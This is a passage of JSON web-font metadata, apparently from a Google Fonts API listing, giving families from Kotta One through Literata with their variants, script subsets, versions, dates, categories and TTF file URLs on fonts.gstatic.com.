One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kottaone/v8/S6u_w41LXzPc_jlfNWqPHA3s5dwt7w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Koulen","variants":["regular"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/koulen/v14/AMOQz46as3KIBPeWgnA9kuYMUg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kranky","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kranky/v11/hESw6XVgJzlPsFnMpheEZo_H_w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kreon","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v23","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvPNimejUfp2dWNg.ttf","regular":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvYtimejUfp2dWNg.ttf","500":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvUNimejUfp2dWNg.ttf","600":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2DnvvN-mejUfp2dWNg.ttf","700":"http://fonts.gstatic.com/s/kreon/v23/t5t9IRIUKY-TFF_LW5lnMR3v2Dnvhd-mejUfp2dWNg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Kristi","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kristi/v12/uK_y4ricdeU6zwdRCh0TMv6EXw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Krona One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kronaone/v9/jAnEgHdjHcjgfIb1ZcUCMY-h3cWkWg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Krub","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZo47KLF4R6gWaf8.ttf","200italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQiwLByQ4oTef_6gQ.ttf","300":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZuo4KLF4R6gWaf8.ttf","300italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQipLNyQ4oTef_6gQ.ttf","regular":"http://fonts.gstatic.com/s/krub/v4/sZlLdRyC6CRYXkYQDLlTW6E.ttf","italic":"http://fonts.gstatic.com/s/krub/v4/sZlFdRyC6CRYbkQaCJtWS6EPcA.ttf","500":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZrI5KLF4R6gWaf8.ttf","500italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQi_LJyQ4oTef_6gQ.ttf","600":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZp4-KLF4R6gWaf8.ttf","600italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQi0LVyQ4oTef_6gQ.ttf","700":"http://fonts.gstatic.com/s/krub/v4/sZlEdRyC6CRYZvo_KLF4R6gWaf8.ttf","700italic":"http://fonts.gstatic.com/s/krub/v4/sZlGdRyC6CRYbkQitLRyQ4oTef_6gQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kufam","variants":["regular","500","600","700","800","900","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3lqk7qQCJHvIwYg.ttf","500":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3pKk7qQCJHvIwYg.ttf","600":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3SK47qQCJHvIwYg.ttf","700":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3ca47qQCJHvIwYg.ttf","800":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3Fq47qQCJHvIwYg.ttf","900":"http://fonts.gstatic.com/s/kufam/v2/C8c-4cY7pG7w_oSJDszBXsKCcBH3P647qQCJHvIwYg.ttf","italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXurT6gqNPPcgYp0i.ttf","500italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXurh6gqNPPcgYp0i.ttf","600italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXuoN7QqNPPcgYp0i.ttf","700italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXuo07QqNPPcgYp0i.ttf","800italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXupT7QqNPPcgYp0i.ttf","900italic":"http://fonts.gstatic.com/s/kufam/v2/C8c84cY7pG7w_q6APDMZN6kY3hbiXup67QqNPPcgYp0i.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kulim Park","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjJYNwa5aZbUvGjU.ttf","200italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUKa9QYZcqCjVVUA.ttf","300":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjPIOwa5aZbUvGjU.ttf","300italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUTaxQYZcqCjVVUA.ttf","regular":"http://fonts.gstatic.com/s/kulimpark/v2/fdN79secq3hflz1Uu3IwtF4m5aZxebw.ttf","italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdN59secq3hflz1Uu3IwhFws4YR0abw2Aw.ttf","600":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjIYIwa5aZbUvGjU.ttf","600italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUOapQYZcqCjVVUA.ttf","700":"http://fonts.gstatic.com/s/kulimpark/v2/fdN49secq3hflz1Uu3IwjOIJwa5aZbUvGjU.ttf","700italic":"http://fonts.gstatic.com/s/kulimpark/v2/fdNm9secq3hflz1Uu3IwhFwUXatQYZcqCjVVUA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kumar One","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kumarone/v5/bMr1mS-P958wYi6YaGeGNO6WU3oT0g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kumar One Outline","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kumaroneoutline/v6/Noao6VH62pyLP0fsrZ-v18wlUEcX9zDwRQu8EGKF.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kumbh Sans","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/kumbhsans/v1/c4mm1n92AsfhuCq6tVsagit_3KKVXUv8Los.ttf","regular":"http://fonts.gstatic.com/s/kumbhsans/v1/c4ml1n92AsfhuCq6tVsauodX-Kq-QUI.ttf","700":"http://fonts.gstatic.com/s/kumbhsans/v1/c4mm1n92AsfhuCq6tVsagjt43KKVXUv8Los.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kurale","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kurale/v6/4iCs6KV9e9dXjho6eAT3v02QFg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"La Belle Aurore","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/labelleaurore/v11/RrQIbot8-mNYKnGNDkWlocovHeIIG-eFNVmULg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lacquer","variants":["regular"],"subsets":["latin"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lacquer/v3/EYqzma1QwqpG4_BBB7-AXhttQ5I.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Laila","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLzxogNAh14nVcfe.ttf","regular":"http://fonts.gstatic.com/s/laila/v7/LYjMdG_8nE8jDIRdiidIrEIu.ttf","500":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLypowNAh14nVcfe.ttf","600":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLyFpANAh14nVcfe.ttf","700":"http://fonts.gstatic.com/s/laila/v7/LYjBdG_8nE8jDLzhpQNAh14nVcfe.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Lakki Reddy","variants":["regular"],"subsets":["latin","telugu"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lakkireddy/v7/S6u5w49MUSzD9jlCPmvLZQfox9k97-xZ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lalezar","variants":["regular"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/lalezar/v8/zrfl0HLVx-HwTP82UaDyIiL0RCg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lancelot","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lancelot/v10/J7acnppxBGtQEulG4JY4xJ9CGyAa.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Langar","variants":["regular"],"subsets":["gurmukhi","latin","latin-ext"],"version":"v11","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/langar/v11/kJEyBukW7AIlgjGVrTVZ99sqrQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lateef","variants":["regular"],"subsets":["arabic","latin"],"version":"v16","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lateef/v16/hESw6XVnNCxEvkbMpheEZo_H_w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lato","variants":["100","100italic","300","300italic","regular","italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v17","lastModified":"2020-09-15","files":{"100":"http://fonts.gstatic.com/s/lato/v17/S6u8w4BMUTPHh30wWyWrFCbw7A.ttf","100italic":"http://fonts.gstatic.com/s/lato/v17/S6u-w4BMUTPHjxsIPy-vNiPg7MU0.ttf","300":"http://fonts.gstatic.com/s/lato/v17/S6u9w4BMUTPHh7USew-FGC_p9dw.ttf","300italic":"http://fonts.gstatic.com/s/lato/v17/S6u_w4BMUTPHjxsI9w2PHA3s5dwt7w.ttf","regular":"http://fonts.gstatic.com/s/lato/v17/S6uyw4BMUTPHvxk6XweuBCY.ttf","italic":"http://fonts.gstatic.com/s/lato/v17/S6u8w4BMUTPHjxswWyWrFCbw7A.ttf","700":"http://fonts.gstatic.com/s/lato/v17/S6u9w4BMUTPHh6UVew-FGC_p9dw.ttf","700italic":"http://fonts.gstatic.com/s/lato/v17/S6u_w4BMUTPHjxsI5wqPHA3s5dwt7w.ttf","900":"http://fonts.gstatic.com/s/lato/v17/S6u9w4BMUTPHh50Xew-FGC_p9dw.ttf","900italic":"http://fonts.gstatic.com/s/lato/v17/S6u_w4BMUTPHjxsI3wiPHA3s5dwt7w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"League Script","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/leaguescript/v12/CSR54zpSlumSWj9CGVsoBZdeaNNUuOwkC2s.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Leckerli One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/leckerlione/v11/V8mCoQH8VCsNttEnxnGQ-1itLZxcBtItFw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ledger","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ledger/v9/j8_q6-HK1L3if_sxm8DwHTBhHw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Lekton","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lekton/v11/SZc43FDmLaWmWpBeXxfonUPL6Q.ttf","italic":"http://fonts.gstatic.com/s/lekton/v11/SZc63FDmLaWmWpBuXR3sv0bb6StO.ttf","700":"http://fonts.gstatic.com/s/lekton/v11/SZc73FDmLaWmWpBm4zjMlWjX4DJXgQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lemon","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lemon/v9/HI_EiYEVKqRMq0jBSZXAQ4-d.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lemonada","variants":["300","regular","500","600","700"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGJOt2mfWc3Z2pTg.ttf","regular":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGeut2mfWc3Z2pTg.ttf","500":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGSOt2mfWc3Z2pTg.ttf","600":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGpOx2mfWc3Z2pTg.ttf","700":"http://fonts.gstatic.com/s/lemonada/v11/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGnex2mfWc3Z2pTg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lexend Deca","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexenddeca/v4/K2F1fZFYk-dHSE0UPPuwQ6qgLS76ZHOM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Exa","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendexa/v4/UMBXrPdOoHOnxExyjdBeWirXArM58BY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Giga","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendgiga/v4/PlI5Fl67Mah5Y8yMHE7lkVxEt8CwfGaD.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Mega","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendmega/v4/qFdA35aBi5JtHD41zSTFEv7K6BsAikI7.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Peta","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendpeta/v4/BXRvvFPGjeLPh0kCfI4OkE_1c8Tf1IW3.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Tera","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendtera/v4/RrQUbo98_jt_IXnBPwCWtZhARYMgGtWA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lexend Zetta","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/lexendzetta/v4/ll87K2KYXje7CdOFnEWcU8soliQejRR7AQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Libre Barcode 128","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode128/v10/cIfnMbdUsUoiW3O_hVviCwVjuLtXeJ_A_gMk0izH.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 128 Text","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode128text/v10/fdNv9tubt3ZEnz1Gu3I4-zppwZ9CWZ16Z0w5cV3Y6M90w4k.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39/v10/-nFnOHM08vwC6h8Li1eQnP_AHzI2K_d709jy92k.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39 Extended","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39extended/v9/8At7Gt6_O5yNS0-K4Nf5U922qSzhJ3dUdfJpwNUgfNRCOZ1GOBw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39 Extended Text","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39extendedtext/v9/eLG1P_rwIgOiDA7yrs9LoKaYRVLQ1YldrrOnnL7xPO4jNP68fLIiPopNNA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode 39 Text","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librebarcode39text/v10/sJoa3KhViNKANw_E3LwoDXvs5Un0HQ1vT-031RRL-9rYaw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Barcode EAN13 Text","variants":["regular"],"subsets":["latin"],"version":"v1","lastModified":"2020-11-03","files":{"regular":"http://fonts.gstatic.com/s/librebarcodeean13text/v1/wlpigxXFDU1_oCu9nfZytgIqSG0XRcJm_OQiB96PAGEki52WfA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Libre Baskerville","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/librebaskerville/v9/kmKnZrc3Hgbbcjq75U4uslyuy4kn0pNeYRI4CN2V.ttf","italic":"http://fonts.gstatic.com/s/librebaskerville/v9/kmKhZrc3Hgbbcjq75U4uslyuy4kn0qNcaxYaDc2V2ro.ttf","700":"http://fonts.gstatic.com/s/librebaskerville/v9/kmKiZrc3Hgbbcjq75U4uslyuy4kn0qviTjYwI8Gcw6Oi.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Libre Caslon Display","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librecaslondisplay/v2/TuGOUUFxWphYQ6YI6q9Xp61FQzxDRKmzr2lRdRhtCC4d.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Libre Caslon Text","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/librecaslontext/v2/DdT878IGsGw1aF1JU10PUbTvNNaDMcq_3eNrHgO1.ttf","italic":"http://fonts.gstatic.com/s/librecaslontext/v2/DdT678IGsGw1aF1JU10PUbTvNNaDMfq91-dJGxO1q9o.ttf","700":"http://fonts.gstatic.com/s/librecaslontext/v2/DdT578IGsGw1aF1JU10PUbTvNNaDMfID8sdjNR-8ssPt.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Libre Franklin","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhLsSUB9rIb-JH1g.ttf","200":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhrsWUB9rIb-JH1g.ttf","300":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhcMWUB9rIb-JH1g.ttf","regular":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhLsWUB9rIb-JH1g.ttf","500":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhHMWUB9rIb-JH1g.ttf","600":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduh8MKUB9rIb-JH1g.ttf","700":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhycKUB9rIb-JH1g.ttf","800":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhrsKUB9rIb-JH1g.ttf","900":"http://fonts.gstatic.com/s/librefranklin/v6/jizOREVItHgc8qDIbSTKq4XkRg8T88bjFuXOnduhh8KUB9rIb-JH1g.ttf","100italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oZ8RdDMTedX1sGE.ttf","200italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05ob8RNDMTedX1sGE.ttf","300italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oYiRNDMTedX1sGE.ttf","italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oZ8RNDMTedX1sGE.ttf","500italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oZORNDMTedX1sGE.ttf","600italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oaiQ9DMTedX1sGE.ttf","700italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05oabQ9DMTedX1sGE.ttf","800italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05ob8Q9DMTedX1sGE.ttf","900italic":"http://fonts.gstatic.com/s/librefranklin/v6/jizMREVItHgc8qDIbSTKq4XkRiUawTk7f45UM9y05obVQ9DMTedX1sGE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Life Savers","variants":["regular","700","800"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lifesavers/v11/ZXuie1UftKKabUQMgxAal_lrFgpbuNvB.ttf","700":"http://fonts.gstatic.com/s/lifesavers/v11/ZXu_e1UftKKabUQMgxAal8HXOS5Tk8fIpPRW.ttf","800":"http://fonts.gstatic.com/s/lifesavers/v11/ZXu_e1UftKKabUQMgxAal8HLOi5Tk8fIpPRW.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lilita One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lilitaone/v8/i7dPIFZ9Zz-WBtRtedDbUEZ2RFq7AwU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lily Script One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lilyscriptone/v8/LhW9MV7ZMfIPdMxeBjBvFN8SXLS4gsSjQNsRMg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Limelight","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/limelight/v11/XLYkIZL7aopJVbZJHDuYPeNGrnY2TA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Linden Hill","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lindenhill/v10/-F61fjxoKSg9Yc3hZgO8ygFI7CwC009k.ttf","italic":"http://fonts.gstatic.com/s/lindenhill/v10/-F63fjxoKSg9Yc3hZgO8yjFK5igg1l9kn-s.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Literata","variants":["200","300","regular","500","600","700","800","900","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-11-20","files":{"200":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbJG_F_bcTWCWp8g.ttf","300":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbE-_F_bcTWCWp8g.ttf","regular":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbBG_F_bcTWCWp8g.ttf","500":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbCO_F_bcTWCWp8g.ttf","600":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbM-4F_bcTWCWp8g.ttf","700":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbPa4F_bcTWCWp8g.ttf","800":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbJG4F_bcTWCWp8g.ttf","900":"http://fonts.gstatic.com/s/literata/v18/or3PQ6P12-iJxAIgLa78DkrbXsDgk0oVDaDPYLanFLHpPf2TbLi4F_bcTWCWp8g.ttf","200italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8f7XWSUKTt8iVow.ttf","300italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8obXWSUKTt8iVow.ttf","italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8_7XWSUKTt8iVow.ttf","500italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8zbXWSUKTt8iVow.ttf","600italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8IbLWSUKTt8iVow.ttf","700italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8GLLWSUKTt8iVow.ttf","800italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8f7LWSUKTt8iVow.ttf","900italic":"http://fonts.gstatic.com/s/literata/v18/or3NQ6P12-iJxAIgLYT1PLs1Zd0nfUwAbeGVKoRYzNiCp1OUedn8VrLWSUKTt8iVow.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Liu Jian Mao 